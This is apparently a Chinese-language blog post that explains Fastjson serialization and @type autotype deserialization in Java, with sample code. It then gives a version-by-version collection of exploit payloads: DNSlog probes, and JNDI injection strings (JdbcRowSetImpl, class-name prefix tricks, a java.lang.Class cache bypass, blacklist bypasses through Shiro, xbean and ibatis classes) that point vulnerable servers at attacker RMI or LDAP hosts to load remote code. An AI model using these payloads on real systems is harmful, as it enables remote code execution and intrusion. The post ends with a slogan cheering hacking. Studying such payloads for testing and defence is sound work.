Fastjson真-简-介

fastjson是由alibaba开发并维护的一个json工具,以其特有的算法,号称最快的json库

fastjson的使用

首先先创一个简单的测试类User

public class user {
public String username;
public String password; public user(String username, String password) {
this.username = username;
this.password = password;
} public String getUsername() {
return username;
} public void setUsername(String username) {
this.username = username;
} public String getPassword() {
return password;
} public void setPassword(String password) {
this.password = password;
}
}

使用fastjson进行序列化和反序列化操作

public class Fastjson {
public static void main(String[] args) {
user user = new user("Bob", "123.com"); //序列化方式--指定类和不指定类
String json1 = JSON.toJSONString(user);
System.out.println(json1);//{"password":"123.com","username":"Aur0ra.sec"}
String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(json2);//{"@type":"com.aur0ra.sec.fastjson.User","password":"123.com","username":"Aur0ra.sec"} //反序列化
//默认解析为JSONObject
System.out.println(JSON.parse(json1)); //{"password":"123.com","username":"Bob"}
System.out.println(JSON.parse(json1).getClass().getName()); //com.alibaba.fastjson.JSONObject //依据序列化中的@type进行自动反序列化成目标对象类型
System.out.println(JSON.parse(json2)); //com.aur0ra.sec.fastjson.user@24b1d79b
System.out.println(JSON.parse(json2).getClass().getName()); //com.aur0ra.sec.fastjson.user //手动指定type,反序列化成目标对象类型
System.out.println(JSON.parseObject(json1, user.class)); //com.aur0ra.sec.fastjson.user@68ceda24
System.out.println(JSON.parseObject(json1, user.class).getClass().getName()); //com.aur0ra.sec.fastjson.user }
}

上述的序列化和反序列化操作,一定要手动实践。

执行后你会发现,使用JSON.toJSONString进行序列化时,可以设置是否将对象的类型也作为序列化的内容。当对字符串进行反序列化操作时,如果序列化字符串中有@type则会按照该类型进行反序列化操作,而如果没有该属性,则默认都返回JSONObject对象(一种字典类型数据存储)。当没有@type,但又想反序列化成指定的类对象时,需要通过JSON.parseObject()同时传入该类的class对象,才能反序列成指定的对象。

注意:反序列化的对象必须具有默认的无参构造器和get|set方法,反序列化的底层实现就是通过无参构造器和get .set方法进行的

漏洞点:由于序列化数据是从客户端发送的,如果将type属性修改成恶意的类型,再发送过去,而接收方进行正常的反序列化操作时,不就可以实现任意类的反序列化操作!!!

原理探究

序列化

...
public static final String toJSONString(Object object, SerializerFeature... features) {
SerializeWriter out = new SerializeWriter(); try {
JSONSerializer serializer = new JSONSerializer(out);
for (com.alibaba.fastjson.serializer.SerializerFeature feature : features) {
serializer.config(feature, true);
} serializer.write(object); return out.toString();
}
}
...

当指定要将类的名字写入到序列化数据中时,就是将其写入到JSONSerializer的配置中,当执行写操作时,JSONSerializer会依据config,进行序列化操作。

手动指定类对象进行反序列化

当手动指定类对象时,JSON会根据指定的Class进行加载和映射。

自动反序列化

跟了比较久,容易跟丢


第一张是调用图,第二张图是自动反序列化的关键点。在这里,首先就是会先进行词法分析(不知道的可以理解为按一定格式的将字符串分割),提取到字符串后,进行匹配,如果存在@type,那么就会进行如图中的动态加载对象,再完成后续操作,这也就是为什么可以实现自动类匹配加载。

fastjson反序列化利用

上面的篇幅,相信应该讲清楚了,传入@type实现自动类匹配加载的原理。

上面也提到了,只要我们可以控制@type类就可以加载任意我们想要加载的类,从而实现漏洞利用

POC

	// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72
String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";
// 全版本支持 fastjson <= 1.2.72
String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";

在对渗透点判断是否存在fastjson反序列化时,可以利用dnslog进行漏洞验证

默认情况下,fastjson只对public属性进行反序列化操作,如果POC或则EXP中存在private属性时,需要服务端开启了SupportNonPublicField功能。

EXP

v1.2.41

漏洞简介:

fastjson判断类名是否以L开头、以;结尾,是的话就提取出其中的类名再加载。

exp

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}\

v1.2.42

1.2.42 版本新增了校验机制,如果输入类名的开头和结尾是l和;就将头和尾去掉,再进行黑名单验证。

所以绕过需要在类名外部嵌套两层L;。

exp

{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}

fastjson>=1.2.45 autoTypeSupport 属性默认为关闭

fastjson = 1.2.45

利用条件

1)、目标服务端存在mybatis的jar包。

2)、版本需为 3.x.x ~ 3.5.0

3)、autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)

exp

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

fastjson <= 1.2.47

漏洞简介:

首先使用java.lang.CLass把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetlmpl这个类,绕过黑名单机制。

利用条件

小于 1.2.48 版本的通杀,autoType为关闭状态也可以。

loadClass中默认cache设置为true。

exp

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
} }

fastjson <= 1.2.62

黑名单绕过

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

fastjson <= 1.2.66

利用条件:

autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)

漏洞简介:

基于黑名单绕过。

exp

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://x.x.x.x:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": 

{"@type":"java.util.Properties","UserTransacti
on":"ldap://x.x.x.x:1389/Calc"}}

ENDING

There is no system which has absolute SECURITY!

U Know It,U Hack It!

最新文章

  1. java程序员快速掌握python系列——概述
  2. mysql状态取反(0变1,1变0)
  3. awk 的使用
  4. javaweb项目打包成war包
  5. asp.net mvc 4 高级编程学习笔记:第四章 模型
  6. Retina视网膜屏中CSS3边框图片像素虚边的问题
  7. 转:C/C++内存管理详解 堆 栈
  8. EasyUI实战经验总结,给有需要的人
  9. Git全解析之远程仓库交互
  10. Linux修改SSH连接数 重启SSH服务
  11. Ubuntu_文件夹名字转化成英文
  12. Action、Category、Data、Extras知识具体解释
  13. springboot 1.5.2 集成kafka 简单例子
  14. 注入理解之APC注入
  15. 了解JDK 6和JDK 7中substring的原理及区别
  16. python文件结构与import用法
  17. MIP 组件库升级公告
  18. 痞子衡嵌入式:飞思卡尔i.MX RT系列MCU启动那些事(6)- Bootable image格式与加载(elftosb/.bd)
  19. 前后端分离djangorestframework—— 接入微信模板消息推送
  20. scipy.stats与统计学:4个概率分布:N,chi2,F,t

热门文章

  1. Python基础(数据类型与变量、字符串和编码)
  2. xpath的chrome插件安装,xpath基本语法
  3. 理解PHP的运行机制
  4. typing使用
  5. 【拥抱元宇宙】创建你的第一个Unity程序HelloWorld,并发布
  6. 解决WSL2中Vmmem内存占用过大问题教程
  7. springboot上传文件异常解决方案
  8. Codeforces 1606F - Tree Queries(虚树+树形 dp)
  9. HDU 7066 - NJU emulator(构造题)
  10. Codeforces 772D - Varying Kibibits(高维差分+二项式定理维护 k 次方和)